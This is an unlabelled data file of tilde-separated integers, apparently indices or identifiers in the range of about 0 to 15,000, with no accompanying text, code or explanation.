~12018~768~14086~1611~11666~8273~5002~14650~10717~8220~8799~9040~6891~1386~5730~7657~1630~11290~14744~10095~592~2108~10584~8352~14533~6481~12244~8568~1080~12548~10098~12561~7889~7356~9655~10259~9799~10965~4050~14638~2841~714~13295~7611~9096~1736~4093~10907~2343~2629~11620~2409~126~7923~7735~116~13200~9193~8872~12935~2384~11231~4642~5142~7986~4311~5218~6715~2709~8672~14393~14506~2618~10351~3519~4789~1025~12444~10556~12758~1551~7897~9761~11149~7259~3762~13316~1537~7324~10518~8223~10453~1555~9558~13258~14197~13794~7198~3100~10344~1783~103~12750~13848~8565~10240~13363~6806~14143~13178~11004~666~1548~6407~445~330~404~2965~2454~3494~12283~486~3482~9002~7182~5105~10431~1528~14027~9178~5194~1743~5934~6314~5953~7688~13984~10052~11091~4170~6659~9249~11138~2922~4180~633~11335~12457~3390~6312~11909~654~13168~5483~5916~13448~7743~4047~2200~11111~8658~11529~8487~9532~2220~13767~6101~3555~10393~5497~6559~3380~204~4747~9187~14269~5021~8627~8879~11785~3971~2913~6608~12989~1621~12069~14095~7303~6756~10880~2254~5087~11158~7351~9765~7907~708~5330~1081~1005~10905~2222~60~322~7061~8987~2820~503~5686~13081~13958~5554~6070~6470~9352~9880~5642~7706~1304~8961~11142~10500~3777~8921~6539~13102~13639~7123~10987~9844~3296~6386~9323~9139~2932~2986~432~7210~667~12532~14751~9087~9254~563~11225~2173~13532~6717~12179~9630~10654~8419~11060~14424~1692~6809~8365~11668~8247~9953~2393~12815~4692~3422~12360~10850~1462~250~4916~4551~8751~7085~5700~13277~5435~8912~6324~4106~5090~3686~8486~4440~13759~6458~2476~10420~3428~10444~153~5785~734~10498~883~14574~12553~5415~5159~8431~3719~5485~10290~13442~620~2479~10040~12249~13586~6220~8123~10932~107~1506~987~8291~8222~9875~13288~11211~2235~11195~13360~3151~7148~2261~9030~10392~9960~11362~9888~58~132~7588~6611~3193~6473~3149~916~28~13961~3876~11657~6855~9223~9632~1300~5371~2331~7751~5579~2908~8550~5631~1905~4105~6210~7258~5517~7353~10148~8680~5386~3605~1554~5951~4967~1667~6367~3994~6297~3171~10967~7139~11048~5684~7044~7420~12099~12216~6140~2336~7861~11581~6047~10003~7321~13518~8282~9530~817~4828~6155~2815~5148~1831~5249~9569~3371~1550~12472~13827~2880~4437~5285~4174~6799~11509~11218~9468~9603~6286~3840~5212~8002~1982~12535~4955~1353~14529~12842~3003~14518~3021~11932~11655~11685~6576~3766~1022~12752~11506~4152~10165~11757~6993~10456~11254~5618~7953~13806~7510~5601~2455~13143~4911~12594~3549~3557~11385~4158~2202~6294~14301~7215~12291~1499~11374~7898~3697~11801~5905~5758~5913~12999~14065~6499~4866~1336~7170~831~12175~13547~4857~14632~9036~14205~10605~6802~14054~5279~11204~3227~367~10223~9301~13285~4176~4726~9059~1758~9521~9421~2968~5097~11104~5072~8416~1624~14347~1607~8368~13117~5714~6370~4793~11251~2419~9858~7272~11997~1457~4651~7744~1738~555~2509~11300~525~14495~232~3546~1346~3376~5570~10205~13512~3445~9298~1091~14092~7265~6283~3057~3168~4098~10358~5359~4695~3229~8176~2110~3099~581~11852~4822~10958~10522~10181~10469~4997~2902~5305~13227~11309~13673~7081~14723~9662~5752~9973~150~1123~8036~147~5273~9239~4773~9949~9839~14726~2798~7498~5423~8893~9315~11298~9171~5329~3120~7029~5767~580~13623~12157~9778~13962~5106~12276~9629~7773~4233~11957~8545~2654~9202~10841~12841~2927~11193~4227~10571~14220~3911~1778~13633~3672~2955~327~561~3016~11056~13365~7775~2339~1511~11401~2246~14045~14430~9219~6998~6217~10819~5542~11157~5975~2361~10477~3523~4956~8949~13124~12050~1936~4904~8367~5003~7126~4831~12578~13836~6131~2114~3017~1308~12910~12130~7866~4647~3352~1151~11670~465~6496~9695~7892~3184~7553~10388~9675~2142~13241~6562~14303~1335~3864~4531~8606~9269~3714~6323~7359~4359~11237~2611~26~1619~14203~13233~105~1460~11763~10671~12060~3414~7372~8102~7538~6636~1671~629~7318~4097~12854~10647~12521~14033~11173~3054~675~1213~13364~6546~12009~1260~10274~7461~11526~2541~8571~12281~2095~1355~8727~9970~2970~5099~11209~1483~4929~2116~7718~8009~12013~2424~10689~777~889~7826~2318~4219~3742~4291~772~4810~12727~1107~7559~1374~13157~13440~14445~2169~14196~14237~11034~12245~6225~6930~10203~1938~4591~2678~9420~2294~10099~926~14244~11805~5080~6850~13397~3457~7018~6742~10014~6202~14426~9653~8533~9161~9757~10389~1439~10400~3845~11039~6527~2737~4305~6196~1907~2195~6437~8118~5772~1003~6741~10737~3857~8574~7354~12633~287~5547~9304~731~11058~3104~10809~7549~4740~7730~2125~11222~1253~3829~12297~7567~5701~2049~1049~8157~13376~4805~12387~4055~3008~14082~13721~6605~8296~13694~931~7319~5201~6174~6626~11750~10247~664~11398~1817~4618~9649~5688~8116~13927~4268~8895~1822~10886~5800~5338~508~3556~11063~6333~2103~3382~3085~1297~1063~11345~10448~3641~8212~2834~2898~211~4593~7597~14589~5091~9380~14540~2028~14593~9862~5696~12257~1076~730~1504~9957~3773~9808~8537~6953~8409~7623~14039~14000~4057~10539~2673~13720~9897~6984~4292~13002~8022~11467~7441~5512~10326~8846~11278~6570~4595~2556~4781~8330~10478~11052~6198~2742~3363~12642~11499~13111~6504~3636~1228~3597~409~13628~13857~12988~10065~30~2616~9820~3668~5074~2833~2587~1899~14475~2903~12274~10183~7950~4066~12280~8459~2241~6919~5424~2996~13100~14280~5713~4891~10820~10835~6582~8540~3289~5734~9137~6387~2325~6357~11962~2707~12001~720~11699~9692~13856~4538~5399~13406~9179~5337~3510~5062~1801~990~9163~12926~13671~1145~10559~11534~6038~1372~6518~13085~9492~3914~10245~9208~5786~4812~12529~3583~10800~6826~4358~5436~13571~13477~6046~8135~8837~2731~9434~1889~13499~9479~6059~12734~585~13692~4813~12139~1798~14595~10529~3935~11878~10271~8651~2847~8476~9702~7057~1787~325~14463~13662~5577~1087~2182~4975~14752~3709~12023~13581~5644~9870~5936~1530~8386~12403~10890~13021~5500~8316~11776~6722~11364~11796~6405~12985~2747~6344~9739~7393~1542~9907~6908~8947~10232~14665~4450~2055~9401~721~5664~11163~8517~4971~12611~13612~7076~5648~4606~13929~6667~11865~7702~2062~7206~11021~1771~10120~14631~11887~14146~1681~10356~10788~8809~14051~11669~8814~10830~4188~7707~6985~8129~13909~7193~3006~5427~10552~12141~12967~2950~3383~8331~7935~3022~4679~8023~10092~4249~4898~1620~13264~3405~7273~353~6287~13868~3761~7918~4111~2777~14022~11425~11288~9287~331~5949~3934~3154~537~756~12226~1449~13423~12898~11577~10557~14198~3430~6923~1152~3429~9211~13156~3386~4087~10762~11692~12808~13496~1892~5490~4853~8047~4541~9994~5123~3578~12976~919~9557~11361~6955~5649~5573~9585~3088~9361~5616~9899~1842~14279~10473~13253~14088~11923~8762~1962~8274~14654~10696~9384~11819~12182~4477~2776~12736~11966~426~13315~3849~7400~7079~2943~7003~7132~1198~12708~4096~1750~12308~13419~13583~921~6656~7290~5066~3360~9931~11862~3473~4455~12243~10197~3635~11061~5491~1095~9827~11994~1026~1192~13181~14438~8244~8412~13060~10405~8583~8332~11435~570~5141~6051~1120~8811~13012~5004~9128~12551~8313~3257~10596~5999~13772~3515~11397~7640~8236~4864~13677~6331~3326~13987~7106~12622~13523~716~7364~11006~13405~10255~12789~7058~1503~927~11706~1070~550~7732~2242~2953~8831~10976~8467~3238~9768~2974~12884~6727~8279~12804~10097~1359~624~9786~6256~7116~960~11275~7890~13449~8425~3266~10540~7095~14029~5368~6598~7196~7178~8969~7344~1587~6893~7767~1352~8076~12899~8647~13410~2814~1100~2921~10320~3493~14132~5244~2395~1061~13675~2490~11455~9939~8417~881~12030~13159~1647~10588~6750~1820~9628~4545~8993~12222~417~14117~10945~5870~8593~11700~8871~10607~1097~14199~10912~13083~11625~14702~4880~14236~4840~7457~1968~7406~11005~9755~3387~1364~13755~5032~12378~2262~1871~19~7962~6670~3174~11504~12714~2620~5958~10422~5599~11698~13471~12829~564~6104~2435~1659~9452~14133~4005~1056~7910~5486~7669~4808~438~4436~7007~14338~7794~5927~9066~13380~6067~10665~7839~3447~7269~10217~4823~12202~3774~11483~14661~1470~9912~11930~9416~13138~12061~13710~8507~11535~12164~1254~6243~11097~10487~7717~1635~4058~3933~7999~860~10025~10280~3722~9430~6345~1819~10656~13614~1682~2401~443~9816~6301~2147~2888~4780~11228~1320~3109~3925~1615~245~14454~1274~3522~7417~12602~5908~352~11205~13362~5971~5433~1921~14024~13769~13280~5653~7742~3~11869~12992~3599~3662~8349~5452~8142~9158~13184~7860~4707~6293~10380~4246~12836~9122~4979~5813~13038~10722~2560~6597~10630~8815~10988~7608~8538~1847~13213~4608~2788~218~7781~12645~5324~4241~11151~6465~6190~1676~13467~1633~7984~6144~7296~13275~13903~10060~524~5390~11383~7924~14400~9487~8197~11390~13882~8506~6668~12782~2211~1446~11443~6391~14369~771~8091~13029~4771~4756~7347~10493~8056~13126~5912~10285~8934~8990~3734~4824~7491~13139~2784~9101~6703~12907~8179~544~838~9730~12364~12203~2534~332~11392~12962~13131~4486~7598~11501~2171~7828~8653~11964~8269~157~3051~9782~13860~7451~11199~10636~3586~12232~784~10483~473~466~11440~12771~10362~3140~5559~4858~10623~13137~2723~1652~13991~13072~4498~9961~4275~11125~14737~11678~65~11821~365~3287~5293~4318~12313~12534~1141~6509~5022~3705~6829~2822~11998~7711~10849~726~8025~12788~1501~11185~651~5628~8005~7813~13079~2462~6069~1664~4581~7586~9982~4687~3566~13555~6285~14049~2568~10837~2518~9780~10206~3721~3378~6325~3959~274~9255~6630~6647~2012~7655~11920~9822~3913~13943~6506~7465~2607~11969~13640~1417~2934~986~4367~4663~869~9470~8231~1998~8249~4673~12775~5240~324~533~5884~14507~10778~6837~1689~425~9485~1640~3760~5128~7232~5043~12215~6231~7023~909~12445~989~13262~13757~1429~2295~9964~13950~5518~334~5033~5537~6872~8127~10168~9331~4376~10078~127~9568~3491~1670~9436~3554~9605~2314~3763~14544~13539~4799~4493~8881~13447~14223~7755~2768~1491~2488~7721~11095~7821~9136~6505~4368~12396~13634~6538~4411~8850~3282~8407~7228~3226~6836~11107~6959~3004~13777~13219~9946~7933~11429~13976~306~2223~14443~4868~13202~8065~10354~13852~1672~431~13177~12603~787~678~12524~1990~12891~3562~14296~1588~7442~3136~14291~6927~3574~14390~6418~1282~3592~8696~237~2431~14335~14383~6997~7181~1108~10554~14187~5685~13715~8406~8044~8059~12420~442~3081~6269~5681~10329~9413~14207~1014~10787~10169~10034~7150~5836~12135~10687~485~4116~2445~13509~10401~14634~8070~13699~13089~235~2685~12079~4319~4395~7681~11651~1687~1438~13770~1716~10921~2302~13600~4080~8411~8825~12282~8084~12177~6147~13714~14641~7621~3825~2870~1040~10676~6514~6860~4153~4262~5384~7903~5015~4984~13936~878~10575~4191~111~5057~10608~7561~10877~3698~3895~13007~7108~13928~13595~11373~7013~8364~7293~10000~12497~5902~7947~5564~11274~7957~14339~492~11026~1441~937~4155~13433~6340~10430~6581~9016~6102~12477~9408~5333~5646~2792~2138~7419~73~1997~9575~8940~1296~11605~5188~959~2026~4321~14343~11555~1042~14297~4741~14353~1175~13228~13849~5553~11187~864~14150~3779~11618~10606~4355~11807~14511~13514~1924~2658~2582~11961~8112~10691~12488~13120~9456~9916~4719~3813~6289~209~8272~5461~9893~11308~4229~3820~4674~6895~12601~1830~773~12568~12589~1492~3928~7496~10893~2286~158~12544~14336~10934~5261~2957~6153~7692~13336~2304~6542~11632~5166~5716~10037~4001~6654~297~14233~10076~13205~13828~5620~10725~5879~286~5937~7872~5806~9783~3872~546~4733~9520~4213~7050~8674~8951~10437~3252~14406~6076~10597~529~7088~14754~14126~3740~7734~9640~12389~2850~2420~2087~10293~9747~12743~9631~7287~7529~7166~11337~14069~9750~3764~3060~6996~8796~13429~14130~836~6641~3202~10387~5226~8732~13150~2890~14747~1562~8828~13304~11424~1478~11724~3228~2901~1854~747~10515~12258~14044~441~10080~11512~9508~3086~13197~7016~3256~9843~4448~3353~4398~6445~7211~12371~3111~13108~6543~4424~8804~7487~3191~11948~8206~9788~4134~12769~7124~12922~11285~10087~11837~1385~12430~11989~8870~273~12577~7179~12057~1637~2732~5611~1848~1185~11954~14524~10576~11266~12448~8641~1657~1518~4466~781~8878~5150~12419~2300~1774~4920~14189~13099~789~12949~12303~5784~6815~4308~74~1435~6931~12442~5608~10964~11172~9392~8580~1487~12496~13641~12987~4366~4703~12760~2571~9414~12256~8663~2817~13503~11810~6565~9537~1748~10269~3915~7989~13968~3804~2583~5704~5585~5331~8791~8560~10081~3919~4335~7917~12163~2400~8063~11589~14312~13876~9638~4113~1287~1880~8361~3939~7528~6540~2897~1515~13995~8788~12591~2443~5959~6649~2938~12702~9722~5593~4617~13736~14170~6804~575~10467~4131~6843~7157~2727~8867~11728~12352~207~14384~5185~11802~12523~3218~4053~255~11671~13704~6669~12100~12479~10374~14023~6119~2626~10989~5113~9319~9854~401~13760~59~2881~10068~14083~12527~3286~6471~9974~14247~5662~14560~11145~4849~12920~7557~2596~8376~9527~12639~2740~803~7439~3508~8428~5008~10734~5532~6406~13648~2783~9524~7573~10267~5572~1047~11584~366~5078~7369~3868~12724~5115~12418~2416~10334~13257~7039~9830~13854~9717~13644~6708~4533~2441~10047~9608~2297~1784~9165~6031~8556~11784~8355~9150~12476~9400~4686~2780~6628~4807~4600~2033~9395~1142~9623~9004~4472~14642~2599~6700~5659~1323~1196~12310~6261~13751~4564~5397~9744~11719~7156~6132~2123~12728~3045~7306~7045~14317~6578~1645~3817~13814~8973~11582~8801~14246~12481~7952~12076~5671~8530~13341~13112~4873~13948~3984~13481~642~3576~8578~5239~4933~7661~8749~3799~13078~2916~4051~9348~6257~12665~7423~4521~5769~5773~2296~7610~12940~3765~10463~12336~13431~6408~7389~9391~8422~6551~10402~10286~11615~7572~7534~11153~3608~4267~9353~1661~2020~10348~1403~1451~5472~975~13469~1806~2645~7384~10798~9874~3590~12531~5140~5827~3624~9359~5729~13324~1859~1392~6018~622~3778~3805~576~3366~12142~7101~3097~5284~2805~8896~12785~1358~5334~1851~7066~1604~10031~5060~5780~309~5978~13862~5168~14670~13866~9299~11704~11281~12206~10702~6632~10429~2942~13485~5911~10642~7818~13372~8757~7483~9883~9661~2761~14565~4184~11118~14128~9112~9853~10793~11808~4453~14556~673~8719~7591~6033~11626~11942~9232~7231~12649~8433~14013~1288~14057~9607~9633~5494~14359~7601~14437~8058~9807~3871~11623~3769~6384~6862~13603~8703~11674~13911~14740~8227~6460~3977~13245~3711~6879~5122~2458~6173~8856~10779~9236~4954~706~7409~12279~9355~6945~9604~9599~12101~3368~14386~5904~11368~14669~7011~11294~852~7371~7075~14683~11002~3138~7551~14623~1944~5504~3129~8978~414~14563~6032~8832~11094~10949~10813~7246~13543~13530~5011~6193~7527~3832~7509~2874~932~3160~8685~13880~6429~5068~11594~7001~6755~9104~8201~7043~14491~8869~315~4974~3267~910~14762~12934~9940~5560~6472~595~11301~2272~6835~14011~7951~6634~3133~268~7279~10308~4403~4420~4871~381~10594~7110~4573~12676~13192~2756~6896~13764~8524~5205~2906~1599~9908~7425~5153~1289~10445~2767~1526~12162~1629~9070~2905~8307~3993~11904~13154~2638~13861~11850~9162~5151~5048~6870~6410~9588~14730~8177~12048~13781~6880~12287~2835~3963~5357~827~12324~6528~11487~5954~3652~5213~6876~12116~6274~1773~14360~8563~2083~1306~4879~1735~155~12333~748~6515~6029~6573~11791~2161~10254~12600~1277~3969~7489~1699~4385~12872~13890~10991~11405~14568~14425~12398~10330~1884~3710~4177~6897~7849~422~9860~6138~12924~797~11972~2353~9502~8478~2577~1124~13468~6464~2992~8252~3577~7966~3321~12963~791~6734~1357~9386~1977~5408~9235~14482~8497~4563~10054~6517~14698~3858~10790~2206~1055~7037~6798~11832~10386~5289~12298~8855~12822~9404~10590~13683~13237~4124~6209~8302~628~11634~13864~13187~8777~10425~1262~8347~9657~1437~4326~812~12073~7758~10974~5422~3980~6610~11498~9507~982~1232~2273~12851~10750~3731~4901~6179~11649~5894~1586~4378~8911~4847~13445~14594~7700~1566~4832~8929~4325~13209~11824~13119~5341~4936~249~5296~13732~9766~4526~9711~12300~1561~7795~7284~5687~5269~2954~13305~3712~9930~7370~9442~3650~8650~9551~907~4555~10910~7719~5287~10447~13895~13667~7248~8488~643~1411~12941~7961~14141~695~6697~12958~11092~3877~14232~1634~8271~4281~2274~14615~8665~6427~4426~1326~1365~10450~2039~2013~376~12176~2380~9981~8173~1245~5529~2213~690~7217~948~2383~11286~6466~5745~8758~9154~4778~1844~12956~2377~3410~3354~9463~1275~944~2984~3244~8094~10969~7974~5787~750~2769~7200~6753~11428~6158~3642~5370~12413~7648~2724~13458~6480~1127~2991~6440~13022~3833~87~1967~577~9770~8527~3790~1836~10678~14305~10105~8172~2065~10468~11656~1840~3402~2008~3339~12171~8622~11230~13501~2791~6699~3417~4026~4329~3403~1453~8041~228~796~4691~11741~728~13310~266~8078~5914~11663~3512~3803~4745~1582~1231~1205~8442~7906~5965~10323~3419~1360~6215~11127~13408~9147~4299~6213~4167~5286~11693~13106~7925~12510~8508~6593~12286~13013~38~12361~12860~11683~10053~2643~14341~3591~8077~9731~8113~10162~5241~80~13839~11331~11177~8729~2612~5740~7055~5925~5164~13551~8321~3130~11123~396~6817~2614~13906~2967~12773~10090~14153~11340~13629~5818~8153~3623~11027~6586~5955~6814~7879~11040~5753~3444~9840~12325~1342~8614~3940~1623~13695~1740~3884~4142~44~5019~3747~6758~4641~7270~370~5453~7749~8334~11775~10583~10580~5278~6450~13006~6650~14258~6317~12797~8381~14267~13660~1219~14284~7512~13513~2094~2327~5669~8032~9289~411~7865~2317~11967~4139~8074~1912~9647~13718~9267~11567~2647~3183~14521~7548~2407~13176~3570~13740~833~4402~12195~1389~548~10228~6105~11875~5622~11975~9088~3737~757~10902~10712~4946~12237~6392~12220~4569~9547~5489~8737~3753~6710~12695~1199~6124~14585~11258~4094~12623~12026~8360~4638~13128~8498~9764~12224~1401~10225~3082~3770~1139~14245~5198~10451~7450~3035~13646~14217~11903~9475~12289~7701~3319~5496~8625~7443~483~894~12000~6218~12314~2016~6383~13803~1934~13907~4192~11707~6005~12072~5340~12288~4315~6743~12878~14470~7676~3481~11391~3074~1766~3089~14640~6813~844~9944~8609~2526~11556~7562~345~3564~2855~5924~7363~14599~3298~9595~13~14713~2655~13325~10070~8806~11319~6127~1529~7375~11213~10322~2227~2846~11208~3009~11566~5126~8205~6629~7089~3423~4071~8599~8444~7073~9541~8175~13281~8069~14699~6092~11754~9252~5030~3653~2857~8720~7908~11939~3658~2124~3536~702~8362~5690~4380~10235~9553~13529~3681~11468~3079~11407~6954~14278~8848~10884~12890~10797~13559~2310~4732~704~13309~586~13282~9091~9375~1720~9270~6994~1177~12644~7091~2588~13869~676~9022~2529~10982~1870~9183~5755~9891~12340~13488~7723~10207~10857~3412~9464~13344~3708~3014~11882~7936~14468~5395~12339~4467~10460~2091~3070~1138~9403~12598~2631~11672~10514~5071~6587~5528~13756~13790~10091~12188~2474~9459~6204~12437~14361~3411~1035~12482~14210~5779~467~2196~11326~14576~9121~8261~10464~2679~2072~11273~12925~4699~13388~10914~339~2179~12909~13610~13103~1940~940~11847~2360~5654~8465~434~1174~6988~2924~5349~14112~482~4917~7104~3461~7630~7584~12350~7236~6248~3210~2506~7046~5156~4636~7466~9672~12542~8117~5505~13925~6094~6467~6113~11471~9397~14020~8595~980~13158~11099~412~5034~10883~3620~9868~11200~8427~12579~9748~68~9357~6023~14616~4760~13221~1434~10360~13466~4322~3336~9829~11080~13753~5478~10457~1223~12173~11117~3501~14043~11232~5851~14008~11716~8972~5210~2205~2102~14125~14625~11695~12895~9113~4653~1388~11393~11927~11838~9500~11492~5459~9242~14174~10012~9144~57~5749~3015~13822~6065~13533~13762~3680~9517~8691~3905~12492~3893~1338~10111~3161~11574~10294~13651~177~4072~3781~3606~2334~13238~3581~1407~6277~6404~10501~2843~13272~2491~8701~9360~5258~14070~4989~10693~12945~8037~8182~6071~9237~120~3127~12764~11633~4483~14464~8281~5588~1069~7638~5869~6359~13211~3330~3894~7438~4615~1324~14537~8027~11083~3230~5442~10763~12518~6224~8339~5450~122~240~681~1829~10791~10753~6737~9393~3177~1714~3516~8460~11449~13359~13314~9402~13056~6474~13437~2037~5887~9435~8634~7080~2977~7084~14218~13504~4469~7671~4277~78~14148~14497~13298~12181~2667~1182~10832~4056~4804~2995~11224~4888~14009~9184~11840~1155~2263~13889~5000~2800~1002~7346~7558~2057~11240~4173~5808~9362~1522~4182~8628~10766~7136~8256~3575~6903~6789~7636~13393~12737~9264~13910~9000~4231~6149~4490~13061~7622~6805~9017~8162~5915~14580~5462~1950~13152~185~3025~11466~9320~6368~8344~6992~335~13381~5214~487~13263~9473~8854~6165~6134~8728~8661~11570~10359~10113~1283~8753~8224~4417~13121~1190~3199~6055~6097~6979~11169~13970~318~4921~4966~4349~8667~6904~9865~14076~9346~1224~5253~13744~6264~2058~2332~4143~9388~9339~2886~4487~6015~1361~1331~7617~1616~4128~3616~949~9310~7959~6161~4242~8959~406~7877~11893~1744~66~4021~1816~914~679~3416~13786~1539~9005~7083~13591~1187~1001~2705~13163~12377~7418~4430~9369~13331~13047~780~677~1006~8132~4743~11490~10364~1043~14536~10194~4333~579~6052~850~8594~12434~1319~13719~4883~5138~4013~8532~11936~8203~11525~4912~8711~3916~3277~13858~670~12663~11307~14215~3892~3920~8818~12431~8086~958~10417~4926~3647~5186~10873~7235~3648~6316~14717~6732~14166~10086~6184~9708~6575~9910~3559~5756~14668~2698~10063~7876~13123~3756~5856~1994~2838~13784~12236~14531~14123~13335~9441~4283~6238~14416~2982~4276~11174~14451~1489~1454~6797~6477~11342~5343~10353~9244~14138~10170~2298~195~11531~10941~6914~5088~12359~9347~4684~7249~14348~1130~3593~7568~9832~11758~14320~6779~4678~1558~1482~5692~1703~11480~2895~2836~13328~4323~13265~1136~279~14578~6129~7851~7983~3343~8956~6960~7792~6050~11900~6563~7365~13463~2635~13535~13327~10192~5310~13096~966~2939~12294~877~2960~4786~14582~9838~2093~10842~7103~12433~4121~6537~8496~9398~9032~5689~4481~2447~13222~9484~5988~715~857~632~77~1523~11122~2713~9173~2335~13350~13851~12877~11394~10151~14363~9576~6784~923~3633~7429~2483~12508~10244~13703~7475~4401~9560~1500~917~8873~3942~7052~14227~493~4802~7782~9201~2237~14756~5963~11601~10831~9643~416~7824~3311~4546~7522~6290~3826~2799~3874~1881~6271~3890~13145~7109~14055~10419~9759~5058~2765~552~3322~2459~5274~5132~11363~11241~2532~1729~4737~9864~4159~12807~8146~357~11571~4714~743~14460~11855~9727~1723~2804~13657~4676~1631~10490~6377~10814~11809~1995~10043~12741~10432~7823~3618~1594~7763~6679~5941~8008~14342~11870~10894~11599~1195~718~10946~6012~2871~2470~7034~6950~6292~2164~6262~13476~8152~11914~346~3542~2019~8015~11884~9448~713~5351~11119~2687~5317~11470~8660~7844~12259~9081~8938~10589~8673~3534~1235~8808~1835~14157~7881~6973~3462~950~9405~5705~13407~1212~11606~9212~9724~6122~2067~6016~7326~6827~7838~12865~4294~9229~8499~11586~6439~988~6664~12951~10804~7620~12384~4622~14708~8402~3678~9919~14159~3483~1914~6830~6040~5067~6685~13475~14513~1366~8648~13011~13912~3214~13186~11578~7448~11108~688~8666~11324~12756~8174~5872~4855~2701~4969~448~14261~9909~9719~12875~11482~9597~4633~8413~12971~5650~2786~9697~112~10251~9325~12186~2370~12228~6740~8373~1456~11642~6498~202~5065~7458~13554~8473~13109~11196~1163~13101~9684~476~2085~5434~13545~168~11591~12056~1673~6462~8829~7143~1974~8190~3303~13454~1309~10315~6646~11203~5805~72~8958~6205~8750~8160~7093~7472~7068~8082~1237~14068~2928~7715~14307~14046~169~2277~6143~14572~12027~13392~4222~610~13478~1093~7298~10011~3242~11650~9345~7521~13175~9817~12106~1046~1315~870~7381~7888~7963~7875~4085~8813~12137~12239~7514~1193~14535~2538~1137~6658~11562~5976~568~12906~1930~6918~1971~4200~7708~6305~10106~10443~693~3147~12278~7399~7010~922~6054~458~2496~13465~8085~7869~13731~14442~6885~8006~10542~4894~1264~1369~7186~1576~1719~1841~12832~12954~12595~10159~2751~7519~1144~13946~10454~2141~11542~9535~965~626~5920~10282~7646~3866~8577~6191~6126~9191~9873~3394~10861~4407~886~6151~7254~12681~8620~11441~10719~2946~3735~1559~8579~8655~3986~3285~6787~11643~12607~14738~4488~14228~11928~13220~8914~13944~2017~2436~3335~12693~1178~6365~14722~11727~6759~2735~1768~1495~3126~2036~1788~9581~3212~5964~7777~1951~1804~3393~9574~7310~7071~9587~3517~12798~4881~5344~3683~11453~1345~7506~5822~12683~231~14149~10836~14041~10567~9338~4877~5561~8013~14741~12446~4210~3036~4601~3807~1261~13568~10738~3031~314~13919~3156~7977~6874~14603~4818~6577~3213~5265~14326~1086~13370~6298~13037~9674~5473~6148~14492~2729~13375~13541~1980~6516~3691~755~5380~13874~4680~13519~8944~11291~12959~8475~7595~11684~2848~4577~13705~7575~3234~14025~3733~4837~3427~4698~5812~3446~6423~10265~3696~7976~5629~12627~10527~2175~13490~3612~2394~2167~2408~9753~14111~531~4059~14526~4532~13144~13434~7447~7056~9481~12654~9892~8767~5985~11834~1799~5571~10860~3273~13622~5511~1837~819~5094~6899~6857~8745~3027~7964~14234~12354~9251~9784~6803~10357~10933~8398~2773~12944~4064~4364~835~1570~6251~6501~3962~8764~3782~10592~2535~10204~14653~8066~659~2293~3548~7155~2112~7503~3661~4507~6428~13034~11372~9911~7955~3216~10544~430~12369~12011~222~39~13901~11947~9419~6963~10340~963~13830~4301~5777~1339~11312~4312~4576~6866~1445~897~13577~3615~3809~13236~110~1931~8305~11406~11557~11087~3728~2980~7833~3767~1549~14102~12824~7341~551~4666~1466~89~3637~9073~5134~12755~11243~8356~1221~3496~7427~176~13549~311~9465~8689~2321~4447~12550~4621~754~2728~13151~4445~6508~9019~5378~2427~8293~13972~9061~5403~4082~1794~8035~7048~12038~13249~10775~12214~1067~1600~14134~3553~3628~13522~5824~4724~12041~2842~1770~2825~12717~10050~11978~5726~1057~5944~6549~7433~113~4196~2385~2271~8410~5592~10117~14490~5084~4584~10249~5860~14163~3480~11858~7994~12323~2365~2684~8586~5444~9082~455~13953~9258~11817~4390~4079~3374~12628~9905~2111~8389~3945~7785~13682~1581~9554~9984~14567~4215~1786~3851~3490~7239~9077~11600~8131~8092~12273~7673~11743~435~4869~12972~8126~4091~2925~7981~636~4144~11347~5859~14142~9694~12733~3007~10867~11252~2283~2528~2045~10333~3186~12753~856~9505~5888~14764~4404~2301~14300~12861~8882~3357~5369~13214~9027~1257~3236~5922~6606~12425~5731~13196~9924~3039~14662~5799~5737~41~7985~10484~12174~12828~3263~4624~5348~11926~6417~6875~12201~11667~11503~8988~1965~7817~6533~1556~13349~5073~5766~10466~4084~10655~188~5061~6035~2531~5783~13717~6900~4463~15~13030~3739~6381~11141~12362~2469~12573~7267~9929~612~8543~10741~12293~4382~6599~3153~4725~1818~4189~11611~8257~6615~10263~8052~12204~12556~13493~10100~769~9988~12373~12685~9001~5326~1280~7241~7949~5838~3814~8608~9256~12948~12255~9878~7603~2088~190~6176~2964~6861~7432~5849~2129~4784~5989~8554~7412~10103~3693~1612~12585~8639~3732~12982~1313~7221~7609~7699~10317~4872~326~11992~5781~264~10733~10794~12516~275~444~10660~10566~13268~1514~11799~6782~10972~7941~10549~14686~8120~9850~826~5161~10777~341~313~2482~10747~9703~10394~9377~549~4389~79~6936~8904~10764~10421~9542~14182~4179~6535~8405~9394~2683~6571~9195~123~13652~7074~9741~7042~13142~3885~6379~6983~11614~829~3047~7247~13323~392~11093~846~5165~13149~5228~6240~957~7891~3061~9863~7774~1247~947~3797~11438~5630~9371~3361~1111~4935~9516~4186~7790~13069~8656~13971~14012~573~10699~10891~9965~7253~4561~9332~5557~895~8462~8792~8610~8472~13337~4438~4002~4539~644~4372~9224~3630~6521~12661~5227~12192~4314~2839~719~14115~10535~3854~3421~9409~5895~997~12008~9522~7686~6414~11369~4344~6828~5245~1316~12648~12974~13216~13368~10633~12978~7268~6556~11074~13090~1426~14364~14628~1220~13768~1585~10007~3092~2547~5112~8684~10379~509~5345~5719~6865~4499~3504~5023~6938~2558~14067~1715~5367~1186~3736~1862~9427~37~12401~13965~1897~9385~9160~2949~1622~8734~906~11351~7082~13332~5254~67~7837~40~2464~9749~3810~8122~5782~8715~3475~14085~1935~5521~8165~11780~272~5495~11800~7125~8214~364~5709~7421~13576~5516~13356~1953~4723~7728~4334~11812~4598~7030~13296~4755~11041~1378~1574~14206~7788~1410~13979~3489~3545~845~4065~10847~9813~1571~10396~7979~5796~3152~1188~10023~5632~5076~5220~2025~8448~5101~7650~14768~6491~8845~13379~2778~6000~14622~10408~13917~547~3665~7153~12443~12395~9167~252~8253~10715~9390~6604~10213~4164~8670~14103~1932~299~10909~12471~8265~4575~7020~1792~13621~10242~12718~13952~7943~717~4835~12881~13833~3369~9821~13278~11054~6526~11760~1625~7278~8774~13398~10136~1204~10272~11355~2808~6841~3865~8649~4934~10139~13709~10375~10146~3836~8564~10258~12975~5454~12155~7864~8335~14453~3614~7873~3265~13104~7535~6601~14235~14517~12857~6687~11993~1206~1242~4518~1942~2162~2146~12735~904~12936~13455~5645~10144~10314~532~2418~3873~8922~13540~205~14626~384~13340~6749~3442~1543~6819~12706~4264~8671~521~6020~4505~4048~4884~3831~12679~7245~3349~2451~3900~6229~646~13737~3351~2105~13945~3938~7378~2188~2187~600~7566~13451~2818~2166~10626~4022~2872~3280~7017~14441~4045~9714~1996~5854~3724~13855~3108~6090~13259~11774~8366~160~